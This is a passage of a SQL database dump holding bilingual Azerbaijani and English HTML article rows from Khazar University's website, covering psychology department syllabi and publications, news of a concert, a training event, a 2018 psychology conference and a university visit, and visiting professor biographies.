hansı bir təşkilat və qurumlarda iş tapmaq imkanı var. Məzunlar onların təhsili ərzində əldə etdikləri bilik və bacarıqları tətbiq edə biləcəyi vəzifələr üzrə işə götürülür.</p>'),(1016,645,'az','Tədris proqramları','Tədris proqramları','<p style=\"font-size:large\"><strong>Bakalavr dərəcəsi</strong></p><p><a href=\"http://www.khazar.org/files/psycho_depart/usaq%20psixopatologiyasi.pdf\">Uşaq psixopatalogiyas</a>ı&nbsp;</p><p><a href=\"http://www.khazar.org/files/psycho_depart/Psixoterapiya%20Anar%20BABAYEV%20pdf%20.pdf\">Psixoterapiya</a></p><p><a href=\"http://www.khazar.org/files/psycho_depart/%C4%B0nsan%C4%B1n%20inki%C5%9Faf%20m%C9%99rh%C9%99l%C9%99l%C9%99ri%20Nilufar%20Alizada%20pdf.pdf\">İnsanın İnkişaf Mərhələləri</a>  <br></p><p><a href=\"http://www.khazar.org/files/psycho_depart/Bio-psychosocial%20Aspects%20of%20Stress%2C%20Health%20and%20Illness%20Nilufar%20Alizada%20pdf.pdf\">Sağlamlıq, stres və xəstəliklərə bio-psixososial yanaşma</a>  <br></p><p><a href=\"http://www.khazar.org/files/psycho_depart/ESP%20Valida%20Karimova%20pdf%20.pdf\">Xüsusi ingilis dili</a>  <br></p><p><a href=\"http://www.khazar.org/files/psycho_depart/M%C9%99hk%C9%99m%C9%99%20psixologiyas%C4%B1%20L%C9%99man%20Verdiyeva.pdf\">Məhkəmə Psixologiyası</a>  <br></p><p><a href=\"http://www.khazar.org/files/psycho_depart/T%C9%99hsil%20Psixologiyas%C4%B1_%20Anar%20Babayev.pdf\">Təhsil Psixologiyası</a><strong style=\"font-size:large\"></strong></p><p><strong style=\"font-size:large\">Klinik Psixologiya Magistr</strong></p><p><a href=\"http://www.khazar.org/files/psycho_depart/Ail%C9%99%20%20psixologiyas%C4%B1%20%20M%C9%99l%C9%99k%20K%C9%99rimova%20pdf%20.pdf\">Ailə psixoterapiyası</a></p><p><a href=\"http://www.khazar.org/files/psycho_depart/sillabus%20HUQUQ.pdf\">Uşaq və&nbsp;</a><a href=\"http://www.khazar.org/files/psycho_depart/Syllabus%20Child%20C.%20Psy%202018newwwwwwwwwwwww.pdf\">yeniyetmə klinik psixologiya</a><a href=\"http://www.khazar.org/files/psycho_depart/sillabus%20HUQUQ.pdf\">sı</a></p><p><a href=\"http://www.khazar.org/files/psycho_depart/Research%20Methods.pdf\">Klinik psixologiyada</a>&nbsp;<a href=\"http://www.khazar.org/files/psycho_depart/Syllabus%20As%C4%B1l%C4%B1l%C4%B1q.pdf\">tədqiqat&nbsp;   metodları</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/psycho_depart/Klinik%20psixologiyada%20m%C3%BCasir%20n%C9%99z%C9%99riyy%C9%99l%C9%99r%20Roya%20Mirzayeva.pdf\">Klinik psixologiyada müasir nəzəriyyələr</a>  <br></p>'),(3464,2038,'en','“Face to face” with tar player Ramiz Guliyev','On April 14, 2017 at 18:00, a concert will be given given in the World Concert...','<p>On April 14, 2017 at\r\n18:00, a concert will be given given in the World\r\nConcert Hall of Khazar University’s downtown campus as part of the traditional\r\n“Face to Face” project. People’s Artist Ramiz Guliyev will be the\r\nguest-performer of the evening. </p>\r\n<p>Khazar University\'s Chamber Orchestra&nbsp;will accompany the\r\nconcert. </p>\r\n<p>The concert is open to the public.&nbsp;</p>'),(3465,2040,'az','Xəzər Universitetində “Təlimçilər üçün təlim” keçirildi','2017-ci il aprelin 3-dən 5-dək Avrasiya Bilik Mərkəzi Xəzər Universitetində “Təlimçilər üçün təlim” keçirdi. Təlimdə Qazaxıstan, Qırğızıstan, Tacikistan, Ukrayna və...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il aprelin 3-dən 5-dək\r\nAvrasiya Bilik Mərkəzi Xəzər Universitetində “Təlimçilər üçün təlim” keçirdi. Təlimdə\r\nQazaxıstan, Qırğızıstan, Tacikistan, Ukrayna və Azərbaycandan ümumilikdə 15 nəfər\r\niştirak edirdi. İştirakçılar xüsusi təlimçilərin köməyi ilə təlim keçirməyin\r\nmetod və yolları, habelə uğurlu təlim taktikasının özəllikləri ilə tanış\r\noldular. Təlimdə xüsusi bacarıqları aprobasiya etmək üçün hasilat sənayesi\r\nmövzuları tətbiq edildi. Təlimin sonunda iştirakçılar fərdi təqdimat edərək, əldə\r\netdiyi bacarıqları nümayiş etdirdilər. İsveçrə Əməkdaşlıq Təşkilatının Cənubi\r\nQafqaz üzrə direktor müavini xanım Simon Haberli (Simone Haeberli) və Avrasiya\r\nBilik Mərkəzinin direktoru İnqilab Əhmədov iştirakçılara təlimi uğurla başa\r\nçatdırdıqlarına görə sertifikat təqdim etdilər.</p>'),(1017,645,'en','Syllabus','Syllabus',''),(1018,646,'en','Publications','Publications','<p><strong>Ulker Isayeva -&nbsp;Head&nbsp;of the Psychology Department</strong>  <br></p><p><strong><a href=\"http://www.khazar.org/files/psycho_depart/Homoseksualizm%20(2)%20(2).pdf\" target=\"_blank\">Homoseksualizm</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/psycho_depart/One%20night%20riding%20a%20tube%20in%20London%20(1)%20(1).pdf\">One night riding a tube in London</a></strong>  <br></p><p>Ziqmund Freyd – Bildiklərimiz və bilmədiklərimiz  <br></p><p>Аборты – Мое тело мой выбор&nbsp;</p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Malak Karimova -&nbsp;Coordinator of the&nbsp;Psychology Department&nbsp;and&nbsp;Director of Khazar Psychological Center</strong></p>\r\n<p><strong><a href=\"http://www.khazar.org/files/psycho_depart/Adaptation%20of%20Internet%20Addiction%20Scale%20in%20Azerbaijani%20Language.pdf\"><strong>Adaptation of Internet Addiction Scale in Azerbaijani Language: A&nbsp;Validity-reliability and Prevalence Study</strong>&nbsp;</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/psycho_depart/AYRILIQ%20(1).pdf\">Ayrılıq</a></strong>  <br></p><p>Hipnoterapiya  <br><strong></strong></p><p><span style=\"font-size:large\"><a href=\"http://www.khazar.org/files/psycho_depart/qafqaz%20tezis.pdf\"></a>İnternet Bağımlılığı ve önlem yolları   <br></span></p><p><span style=\"font-size:large\"><a href=\"http://www.khazar.org/files/psycho_depart/Gelotologiya.pdf\"></a>Gelotologiya   <br><a href=\"http://www.khazar.org/files/psycho_depart/AYRILIQ%20(1).pdf\"></a></span></p><p><pstyle=\"font-size:medium\"><pstyle=\"font-size:medium\"><pstyle=\"font-size:medium\"><span style=\"font-size:large\"><a href=\"http://www.khazar.org/files/psycho_depart/yetim%20u%C5%9Faqlar.pdf\"></a><a href=\"http://www.khazar.org/files/psycho_depart/Gelotologiya.pdf\"></a>Öyrənmə çətinliyi</span></pstyle=\"font-size:medium\"></pstyle=\"font-size:medium\"></pstyle=\"font-size:medium\"></p><p><pstyle=\"font-size:medium\"><pstyle=\"font-size:medium\"><pstyle=\"font-size:medium\"><strong style=\"font-size:large\"><br></strong></pstyle=\"font-size:medium\"></pstyle=\"font-size:medium\"></pstyle=\"font-size:medium\"></p>'),(5139,2976,'az','Gözəl Bakımız Xəzər Universitetinin tələbəsi Əli Musanın obyektivində','Kompüter elmləri üzrə 2-ci kurs bakalavr tələbəsi olan İraqlı tələbə Əli Musanın hobbisi fotoqrafiyadır...','<p>Kompüter mühəndisliyi&nbsp;üzrə 2-ci kurs bakalavr tələbəsi olan İraqlı tələbə Əli Musanın hobbisi fotoqrafiyadır. Əli yüksək dərəcəli orta qiyməti olan çalışqan tələbədir.&nbsp;</p><p>Dekanlıq Əlinin bu yaxınlarda çəkdiyi bəzi fotoları Xəzər Universitetinin heyəti ilə bölüşmək istərdi. Əliyə təhsilində və hobbisində uğurlar arzu edirik.</p>'),(4930,2876,'en','“V INTERNATIONAL PSYCHOLOGY CONFERENCE OF AZERBAIJAN” to be held','“V International Psychology Conference of Azerbaijan” will be held in Baku on 7-8 April by organisational support of Department...','<p style=\"text-align:justify\">“V International Psychology&nbsp;Conference of Azerbaijan” will be held in Baku on 7-8 April, 2018 by organisational support of Department of Psychology of Khazar University and Khazar Psychological Service Centre.</p><p style=\"text-align:justify\">Psychologists and psychiatrists from Turkey and the USA are expected to deliver reports at the conference and provide participants with information on various spheres. The participants of the conference will gain new knowledge and skills, benefit from experience of experts, learn and compare different views, and will get familiar and build network with international students and lecturers. Official ceremony of the conference will be held on 7<sup>th</sup> of April. On that day psychologists and psychiatrists will make presentations on various topics. On 8<sup>th</sup> of April participants will take part in workshops. At the end of the conference participants will be presented with certificates.</p><p style=\"text-align:justify\">It is the 5<sup>th</sup> conference in a row. Prof. Nilufer Voltan Ajar, Prof. Mehmet Hakan Turkchapar, Prof. Ebru Jengel Kultur, Dr. Ejder Akgun from Turkey, and Prof. Frederick Bemak, Prof. Robert Jecklin from the USA have been invited to the conference.</p>\r\n<p style=\"text-align:justify\">Potential participants need to register beforehand through the following link:</p><p><a href=\"https://docs.google.com/forms/d/e/1FAIpQLSfI4eibYPxle69XquVKe-6nzg_Q4vYaNoCbXiA0rHfBLwnWHQ/viewform\">https://docs.google.com/forms/d/e/1FAIpQLSfI4eibYPxle69XquVKe-6nzg_Q4vYaNoCbXiA0rHfBLwnWHQ/viewform</a>  </p><p style=\"text-align:justify\">Potential participants afterwards are requested to approach Room 502(Old), 5<sup>th</sup> floor, Neftchiler building, Khazar University in order to confirm their participation and pay the participation fee.</p>'),(4929,2876,'az','“Azərbaycan V Beynəlxalq Psixologiya Konfransı” keçiriləcək','2018-ci il aprelin 7-si və 8-də Bakı şəhərində Xəzər Universitetinin Psixologiya departamentinin...','<p style=\"text-align:justify\">2018-ci il aprelin 7-si və 8-də Bakı şəhərində Xəzər Universitetinin Psixologiya departamentinin və Xəzər Psixoloji Xidmət Mərkəzinin təşkilatçılığı ilə “Azərbaycan V Beynəlxalq Psixologiya Konfransı” keçiriləcək.</p><p style=\"text-align:justify\">Konfransda Türkiyədən, Amerikadan dəvət olunmuş psixoloqlar və psixiatrlar çıxış edərək, psixologiyanın müxtəlif sahələrini əhatə edən mövzular haqqında məlumat verəcəklər. Konfransda iştirakçıları psixologiya sahəsində yeni biliklər əldə etməklə yanaşı, bu sahənin mütəxəssislərinin bilik və təcrübələrindən yararlanmaq, fərqli baxış tərzlərini görmək, müqayisə etmək, müxtəlif universitetlərdə oxuyan tələbələr və çalışan müəllimlərlə əlaqələr qurmaq şansı əldə edəcəklər. Aprelin 7-də konfransın rəsmi hissəsi olacaq. Bu hissədə iştirakçılar psixoloqların və psixiatrların müxtəlif mövzularda olan təqdimatlarını dinləyə biləcəklər. Aprel 8-də isə iştirakçılar əvvəlcədən müəyyən olunmuş uorkşoplarda iştirak edəcəklər. Konfransın sonunda hər bir iştirakçıya universitet tərəfindən sertifikat təqdim ediləcək.</p><p style=\"text-align:justify\">Bu il artıq 5-cisini təşkil olunacaq beynəlxalq konfransa Türkiyədən Prof.&nbsp;Nilufer Voltan Acar, Prof.&nbsp;Mehmet Hakan Türkçapar, Prof.&nbsp;Ebru Cengel Kültür, Dos.Dr.&nbsp;Ejder Akgün, Amerikadan isə Prof.&nbsp;Frederick Bemak, Prof.Dr.&nbsp;Robert Jecklin dəvət edilmişlər.</p><p style=\"text-align:justify\">Konfransda iştirak etmək istəyən hər bir şəxs əvvəlcə bu linkdən qeydiyyatdan keçməlidirlər:</p><p><a href=\"https://docs.google.com/forms/d/e/1FAIpQLSfI4eibYPxle69XquVKe-6nzg_Q4vYaNoCbXiA0rHfBLwnWHQ/viewform\">https://docs.google.com/forms/d/e/1FAIpQLSfI4eibYPxle69XquVKe-6nzg_Q4vYaNoCbXiA0rHfBLwnWHQ/viewform</a></p><p style=\"text-align:justify\">Daha sonra Xəzər Universitetinin “Neftçilər” korpusunda 502-ci otağa yaxınlaşaraq ödənişlərini edərək, qeydiyyatlarını təsdiqləyə bilərlər.</p>'),(1019,646,'az','Nəşrlər','Nəşrlər','<p><strong>Ülkər Isayeva -&nbsp;Şöbə Müdiri </strong> <br></p><p><strong><a href=\"http://www.khazar.org/files/psycho_depart/Homoseksualizm%20(2)%20(2).pdf\" target=\"_blank\">Homoseksualizm</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/psycho_depart/One%20night%20riding%20a%20tube%20in%20London%20(1)%20(1).pdf\">One night riding a tube in London</a></strong>  <br></p><p>Ziqmund Freyd – Bildiklərimiz və bilmədiklərimiz  <br></p><p>Аборты – Мое тело мой выбор  <br></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"font-weight:bold\"><strong><strong>Mələk Kərimova&nbsp;-&nbsp;<strong>Xəzər Universiteti Psixologiya Departamentinin Koordinatoru və&nbsp;<strong>Xəzər Psixoloji Xidmət Mərkəzinin direktoru&nbsp;</strong></strong></strong></strong></p><p><strong><strong><strong></strong></strong><strong><a href=\"http://www.khazar.org/files/psycho_depart/Adaptation%20of%20Internet%20Addiction%20Scale%20in%20Azerbaijani%20Language.pdf\">Adaptation of Internet Addiction Scale in Azerbaijani Language: A Validity-reliability and Prevalence Study</a></strong></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/psycho_depart/AYRILIQ%20(1).pdf\">Ayrılıq</a></strong>  <br></strong></p><p>İnternet Bağımlılığı ve önlem yolları  <br></p>\r\n<p><span style=\"font-size:large\">Hipnoterapiya  <br></span></p><p>Gelotologiya  <br></p><p><pstyle=\"font-size:medium\"><pstyle=\"font-size:medium\"><pstyle=\"font-size:medium\"><span style=\"font-size:large\">Öyrənmə çətinliyi  <br><a href=\"http://www.khazar.org/files/psycho_depart/Gelotologiya.pdf\" style=\"font-weight:bold\"></a></span></pstyle=\"font-size:medium\"></pstyle=\"font-size:medium\"></pstyle=\"font-size:medium\"></p><p><pstyle=\"font-size:medium\"><pstyle=\"font-size:medium\"><pstyle=\"font-size:medium\"><strong style=\"font-size:large\"><strong><br></strong></strong></pstyle=\"font-size:medium\"></pstyle=\"font-size:medium\"></pstyle=\"font-size:medium\"></p>');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (5125,2981,'en','Representatives of Nazarbayev University Visit Khazar University','On February 21, 2018, the representatives of Nazarbayev University (Kazakhstan) visited...','<p>On February 21, 2018, the representatives of Nazarbayev University (Kazakhstan) visited Khazar University.</p><p>The guests from Kazakhstan included Weng Tat Hui, Dean of Graduate School of Public Policy, and Yulia Kaufman, Marketing Manager. The participants from Khazar University were Dr. Hassan Niknafs, Rector, Prof. Mahammad Nuriyev, Vice-rector for Academic Affairs, Assoc. Prof. Irada Khalilova, Vice-rector for Research, and Gunay Farzaliyeva, Coordinator of International Affairs Office.</p><p>The collaboration opportunities on student exchange, establishment of double-degree programs and research were discussed during the meeting. It was agreed to sign a memorandum of understanding to establish future co-operation and joint work in the areas of common interest.</p><p>At the end of the meeting, promotional materials of both universities were exchanged.</p>'),(6223,3543,'en','Book-album co-authored by Instructor of the Department of History and Archaeology is published','Book-album “Ancient and Medieval weapons of Azerbaijan” co-authored by Assoc. Prof. Sabuhi Ahmadov, PhD in History...','<p>Book-album “Ancient and Medieval weapons of Azerbaijan” co-authored by Assoc. Prof. Sabuhi Ahmadov, PhD in History and Instructor of the Department of History and Archaeology of Khazar University, has been published. Scientific editor of the publication is Academician Naila Valikhanli, Director of National Museum of Azerbaijan History; coordinator is Nasir Guluzadeh, PhD in History; co-authors are S.Ahmadov, PhD in History, E.Mammadov and N.Garayeva. The book contains detailed information about the weapons preserved in the archaeological collection of the National Museum of Azerbaijan History. Some of those weapons have been found during archaeological expeditions in Shaki, Gazakh, Gabala, Mingachevir and the Caspian Sea basin. Besides, the book provides information about randomly found guns in Dashkasan, Lankaran, Gazakh, Nakhchivan and other regions. The book contains 82 archaeological findings.</p>'),(1020,647,'en','Visiting Professors','Visiting Professors','<p><strong><img src=\"/files/image/15_05_15_Nevzat_Tarhan.jpg\" style=\"border:0px  #000000;width:150px;height:151px;margin:7px;vertical-align:text-bottom;float:left\">Prof.&nbsp;  Nevzat Tarhan&nbsp;</strong></p><p style=\"text-align:justify\">Prof. Nevzat Tarhan is a Turkish medical scientist, psychiatrist and a neuropsychology expert who was born in Merzifon in 1952. He graduated from Cerrahpasha medical school in&nbsp;1975. He took the representation of \"Memory Center of America\" in Turkey in 1998. He has been the chairman of the board of NPİSTANBUL, the first neuropsychiatry hospital of Turkey, and also the founding rector of Üsküdar University.</p><p><br></p><p><br></p><p><br></p><p><strong>Dr. Necip Cem Kinaci</strong><strong><strong><img src=\"/files/image/15_05_15_Necip_Cem_Kinaci.jpg\" style=\"width:150px;height:120px;margin:7px;float:left\"></strong></strong></p><p style=\"text-align:justify\">Dr. Necip Cem Kinaci was born in Istanbul in 1958 and graduated from Istanbul Medical University. He became a chairman of the board of “Adana Diomed Medical Center” in 1996. He has been working on developing his academic knowledge on Autism Asperges Syndrome. First and foremost, his academic career started at ‘Autism Research Institute’ and later proceeded to ‘Academic College for Advancement in Medicine’. His final destination was “Medical Academy for Pediatric Special Needs” Institute where he completed his study in Autism and became a well-known specialist in Turkey and other countries as well. He has been invited as a guest of honor to several international conferences.</p><p><br></p><p><br></p><p><br></p>\r\n<p><strong>Dr. Abulfaz&nbsp;Suleymanli&nbsp;</strong><strong><img src=\"/files/image/15_05_15_Ebulfez_Suleymanov.jpg\" style=\"width:150px;height:150px;margin:7px;float:left\"></strong></p><p style=\"text-align:justify\">He was born in Ucar, Azerbaijan, in 1975. He graduated from Istanbul University in 1975. He received his Master degree and PhD degree in Sociology from Istanbul University, in 1998 and 2003, respectively. He has been working as a lecturer at the Faculty of Health Science since 2012 and he is a chairman of the board of Faculty of Human and Social Sciences, Istanbul Uskudar University.</p>  <p> <br></p><p><strong style=\"font-family:\'times new roman\', times, serif\"><strong><br></strong></strong></p><p><strong style=\"font-family:\'times new roman\', times, serif\"><strong><br></strong></strong></p><p><br></p><p><strong style=\"font-family:\'times new roman\', times, serif\"><strong>Dr.&nbsp;Mustafa Chay</strong>&nbsp;</strong><strong style=\"font-family:\'times new roman\', times, serif\"><strong><img src=\"/files/image/pastedImage.png\" style=\"width:150px;height:172px;margin:7px;float:left\"></strong></strong></p><p style=\"text-align:justify\">Mustafa Chay – is a master trainer in neurolinguistics programming. He received his Bachelor degree in Finance from Ankara University and continued his study on human resources at the same university. He received his Master Degree from “New Port International University”. Mustafa Chay conducted more than 500 seminars and workshops and trained 67 NLP practioners during his career.&nbsp;</p><p><strong style=\"font-family:\'times new roman\', times, serif\"><br></strong></p><p><strong style=\"font-family:\'times new roman\', times, serif\"><br></strong></p><p><strong style=\"font-family:\'times new roman\', times, serif\"><br></strong></p><p><strong style=\"font-family:\'times new roman\', times, serif\"><br></strong></p><p><br></p><img src=\"http://www.khazar.org/files/image/ibrahim.png\" style=\"border:0px  #000000;width:150px;height:129px;margin:7px;float:left\"><p><strong style=\"font-family:\'times new roman\', times, serif\"><strong>Ibrahim Bilgen</strong></strong></p><p><span style=\"font-family:\'times new roman\', times, serif\">Dr. Ibrahim Bilgen – was born in Adana in 1968 and graduated from Medical School of Chukurova University. In 2001, he pursued his PhD degree at the same university. He founded “Bilgen Therapy Institute” in 2012. Currently, he is a psychologist and psychotherapist at the mentioned institute.&nbsp;</span></p><p><strong style=\"font-family:\'times new roman\', times, serif\"><strong><br></strong></strong></p><p><br></p><p><strong style=\"font-family:\'times new roman\', times, serif\"><strong><br></strong></strong></p><img src=\"http://www.khazar.org/files/image/15_05_15_Ikram.jpg\" style=\"width:150px;height:123px;margin:7px;float:left\"><p><strong style=\"font-family:\'times new roman\', times, serif\"><strong>Ikram Rustamov  </strong></strong></p>\r\n<p style=\"text-align:justify\">Dr. Ikram Rustamov – was born in Lachin in 1981. He started primary school in Lachin and then pursued his studies in Baku. Ikram Rustamov graduated from Cerrahpasa Faculty of Medicine, İstanbul University, and proceeded his study in child psychology. After completing 5 academic years, he specialized in child psychology at the mentioned university. He has a year work experience at Boston Children’s Hospital of Harvard University.  <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong>Dr. Mehmet Shakiroghlu  </strong><strong><img src=\"/files/image/14_05_05_mehmet_sakiroglu.jpg\" style=\"width:150px;height:176px;margin:7px;float:left\"></strong></p><p>Dr. Mehmet Shakiroghlu – was born in Mughla in 1977. He graduated from Middle East Technical University (METU), Faculty of Philosophy and Psychology. He received his Master and PhD degrees in Clinical Psychology from METU.<br>&nbsp;The book called ‘The Psychology of Love’ was published in 2013 by Mehmet Shakiroglu in cooperation with Dr. Ozanser Ugurlu. A number of articles about stress, anxiety, depression, happiness and disaster psychology has been produced by him. He teaches on a variety of topics such as motivation, anxiety, and stress at the Ministry of Education and Ministry of International Affairs. Currently he is a clinical psychologist at METU.</p>  <p><br></p><p><br></p><p><br></p><p><strong style=\"font-family:\'times new roman\', times, serif\">Assos. Prof.&nbsp;Dr. Ozanser Ughurlu</strong><strong style=\"font-family:\'times new roman\', times, serif\"><img src=\"/files/image/14_05_05_ozanser_ugurlu.jpg\" style=\"width:150px;height:176px;margin:7px;float:left\"></strong></p><p>Dr. Ozanser Ughurlu – was born in Turhal in 1975. He received his Bachelor degree in Psychology at Middle East Technical University (METU) and proceeded to receive Master and PhD degrees in Psychology at Ankara University. He has work experience in Turkish Football Federation and Manisaspor. He is an author of a number of articles and the books such as: “Psychology of Love”, “Women”, and “All men are the same”. Additionally, he is a founder of Institute of Happiness in Turkey. Currently, he is working as a career coach.  <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong><img src=\"/files/image/14_05_05_sibel.jpg\" style=\"width:150px;height:185px;margin:7px;float:left\">Uzm. Sibel Usluer Erenel</strong>&nbsp;</p><p style=\"text-align:justify\">Sibel Uzluer - Family and marriage therapist licensed from the state of California, USA. After receiving her Master degree in Psychological Counseling and Guidance at Bogaziçi University. She received a second degree from California State University Hayward on Family, Marriage and Child Therapy and School Counseling. She has completed at least 3000 hours of supervised practical training. Moreover, she has succeeded in written and oral \'board\' exams and has been awarded a family (including children and adolescents) and marriage (relationship) therapy license from the California State Behavioral Sciences Council. She is also eligible to receive Pupil Personnel Credential, which allows her to work in the same state. She has worked in various institutions in this province for 12 years in order to better learn and practise Virginia Satir\'s therapy. She has been trained in Satir and participated in the training of Kaye Bishop, a member of AVANTA, for 6 years and participated in the monthly consultation group. She has been working on the \"Reliability and Validity Study of the Turkish Family Environment Scale\" and his \"Healthy Start\" Project in California. She is a member of AAMFT (Association of American Family and Marriage Therapists), CAMFT (California), IFTA (International Family Therapy Association), and AVANTA (The Satir Network). Her professional fields of interest are conservative mental health and comprehensive guidance in schools; individual, family, institution and community development; effective and peaceful communication and life methods against violence and conflict.  </p><p><br></p><p><br></p><p><br></p><p><strong>Prof.&nbsp;</strong><strong>Reshit Canbeyli  </strong><span style=\"font-family:\'times new roman\', times, serif\"><strong><img src=\"/files/image/resit.png\" style=\"width:150px;height:214px;margin:7px;float:left\"></strong></span></p><p>Prof. Reshit Canbeyli – is a psychology professor at Bogaziçi University. He received his Bachelor degree and Master degree from Columbia University and pursued his PhD in Psychology at the mentioned university in 1977. His professional fields of interest are psychobiology and cognitive neuroscience.&nbsp;</p><p><br></p><p><br></p><p><br></p><p><br></p><br><h3><br></h3>'),(4987,2908,'en','Research','Research','<p>Amid the collapse in global commodity prices, oil, gas and mineral-rich states have to adjust to the new realities of slow economic growth and declining fiscal revenues. In post-Soviet Eurasia, the authorities in resource-rich Russia, Kazakhstan and Azerbaijan had to revise their state budgets, cut public investment expenses and enact unpopular currency depreciations to respond to the worsening conditions in global commodity markets. The low commodity prices also reduced the incentives of foreign oil and mining companies to invest in these countries. The ongoing fall in commodity prices has raised the renewed interest in the impact of natural resources on the wellbeing and sustainable development of resource-rich nations. This has reinvigorated the debate about how the authorities in countries dependent on oil and minerals should address the external negative shocks and maintain fiscal balance.</p><p>More research on these topics will provide better evidence to help policymakers navigate through economic recession and will enrich the scholarly debate on the so called “resource curse”. It will also help civil society organizations (CSOs) get better prepared for evaluating government policy performance and advocating more effective alternative policy solutions. The availability and better communication of research outcomes can also improve the quality of print and online media coverage of falling oil prices and its consequences. This is key to ensure government accountability and enhance public debate.</p><p>However, while these new developments pose major policy challenges to decision makers in these countries, not enough policy-oriented research has been conducted to inform fiscal and monetary policy. There are two main reasons for this. First, there is a general neglect and under appreciation of the impact of research on actual policy. Second, the region lacks strong research capacity and skills especially among youths. As Eurasia’s leading capacity-building and research center on extractives, the Eurasia Regional Extractive Industries Knowledge Hub is currently implementing a strategy to address these needs and serve as a channel for offering policy advice to decision makers, generating research output and providing training courses on relevant research and data analytical skills to younger researchers from the Eurasian region.</p>'),(1021,647,'az','Ziyarətçi professorlar','Ziyarətçi professorlar','<p><img src=\"/files/image/15_05_15_Nevzat_Tarhan.jpg\" style=\"border:0px  #000000;width:150px;height:151px;margin:7px;vertical-align:text-bottom;float:left\"><strong>Nevzat Tarhan&nbsp;</strong></p><p style=\"text-align:justify\">Nevzat Tarhan 1952-ci ildə Merzifon-da anadan olmuş, 1975-ci ildə İstanbul universiteti Cerrahpaşa Tibb fakultəsini bitirmişdir. 1996-cı ildə professor dərəcəsini almışdır. 1998-ci ildən “Memory Center of America”nın Türkiyə təmsilcisi olmuşdur. 31-i beynəlxalq olmaq üzrə 100-dən artıq təqdimatı vardır. &nbsp;Hazırda “NPİSTANBUL Nevropsixiatriya” xəstəxanasında baş həkim və Üsküdar universitetində qurucu rektor kimi fəaliyyət göstərməkdədir.</p><p style=\"text-align:left\"><br></p><p><br></p><p><br></p><p><strong>Dr. Necip Cem Kınacı&nbsp;</strong><img src=\"/files/image/15_05_15_Necip_Cem_Kinaci.jpg\" style=\"width:150px;height:120px;margin:7px;float:left\"></p>\r\n<p style=\"text-align:justify\"><span style=\"text-align:justify\">Dr. Necip Cem Kınacı 1958-də İstanbudal doğulmuş, İstanbul Üniversiteti Tibb fakultəsini 1984-cü ildə Tibb Doktoru olaraq bitirmişdir. 1996-cı ildə “Adana Diomed Tıp Merkezi”-də rəhbər vəzifədə çalışmağa başlamışdır. 2004 cü ildən autizmlə mübarizə üçün öz təhsilini daha da təkminləşdirmişdir. İlk olaraq “Autism Research Institute” daha sonra “ American College for Advancement in Medicine” və sonda isə “Medical Academy for Pediatric Special Needs” də təhsilini yüksəldərək artıq həm ölkədaxili, həm də ölkə xaricində kifayət qədər tanınmış bir mütəxəssisə çevrilmişdir. Bir sıra beynəlxalq konfranslara fəxri qonaq kimi dəvət olunmuşdur.&nbsp;</span></p><p><br></p><p><br></p><p><img src=\"/files/image/15_05_15_Ebulfez_Suleymanov.jpg\" style=\"width:150px;height:150px;margin:7px;float:left\"></p><p><strong>Süleymanov Əbülfəz&nbsp;</strong></p>\r\n<p style=\"text-align:justify\">Süleymanov(lı) Əbülfəz 1975-ci ildə Ucar rayonunda anadan olmuş, 1991-ci ildə Türkiyənin İstanbul Universitetinin sosiologiya fakültəsinə dövlət xətti ilə qəbul olmuş və 1995-ci ildə buradan məzun olmuşdur. 1998-ci ildə İstanbul Universitetində dissertasiya müdafiə edərək magistr dərəcəsini qazanmışdır. 2003-cü ildə yenə İstanbul Universitetində elmi işi müdafiə edərək sosiologiya elmləri üzrə fəlsəfə doktoru elmi dərəcəsi almağa layiq görülmüşdür. 2012-ci ildə Türkiyədə girdiyi imtahanda dosent ünvanı qazanmışdır. Həmin il İstanbul Üsküdar Üniversitetində Sağlıq Bilimləri Fakültəsində sosial iş kafedrasında müəllim və 2014-cü ildən həmin Universitetin İnsan və Sosial Elmlər Fakültəsi sosiologiya kafedrasının müdiri vəzifəsindn</p><p><br></p><p><br></p><p><br></p><p><img src=\"http://www.khazar.org/files/image/pastedImage.png\" style=\"width:150px;height:172px;margin:7px;float:left\"><strong>Mustafa Çay</strong>&nbsp;</p><p style=\"text-align:justify\">Mustafa Çay, Neuro-Linguistic Proqramlaşdırma mövzusunda mütəxəssis-pedaqoq lisenziyasına sahib bir təlimçidir. Bakalavr təhsilini Ankara Universitetinin İqtisadiyyat fakültəsində tamamlamış, həmçinin, həmin Universitetdə “İctimai əlaqələr” üzrə də təhsil almışdır. “New Port International University”-də psixologiya üzrə magistratura təhsilini tamamlamışdır.Mütəxəssis olaraq, professional iş həyatı boyunca 500-dən çox seminar vermiş, 67 NLP pratisyen və 26 NLP üzrə təlim vermişdir.&nbsp;</p>  <p><br></p><p><br></p><p><br></p><p><br></p><p><strong>İbrahim Bilgen&nbsp;</strong><span style=\"font-family:\'times new roman\', times, serif\"><img src=\"/files/image/ibrahim.png\" style=\"width:150px;height:129px;margin:7px;float:left\"></span></p><p style=\"text-align:justify\">İbrahim Bilgen 1968-ci ildə Adanada dünyaya göz açmışdır. 1994-cü ildə Çukurova Universitetinin Tibb Fakültəsindən məzun olmuş, 2001-ci ildə isə Çukurova Universitetinin Tibb Fakültəsini psixatriya üzrə doktor kimi tamamlamışdır.Asistentlik təhsili dövründə , 5 il \"Psixodrama və qrup terapiyası\" təhsili, 6 il xüsusilə \" Uşaq və yeniyetmələr üçün ailə Terapiyası” ilə əlaqəli olan Geştalt terapiya təhsili, 7 il müddətində “Anksiyete Pozuntuları ve Depresiya” ilə aidiyyatlı olan “ Koqnitiv Davranış Terapiyası” təhsilini yüksək səviyyədə bitirmişdir. 2012-ci ildə “ Bilgen Terapi Enstitüsünü” qurmuşlardır. Hazırda həmin mərkəzdə psixiatr və psixoterapevt olaraq çalışmaqdadır.  <br><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\"></span></p><p><br></p><p><br></p><p><br></p><p><img 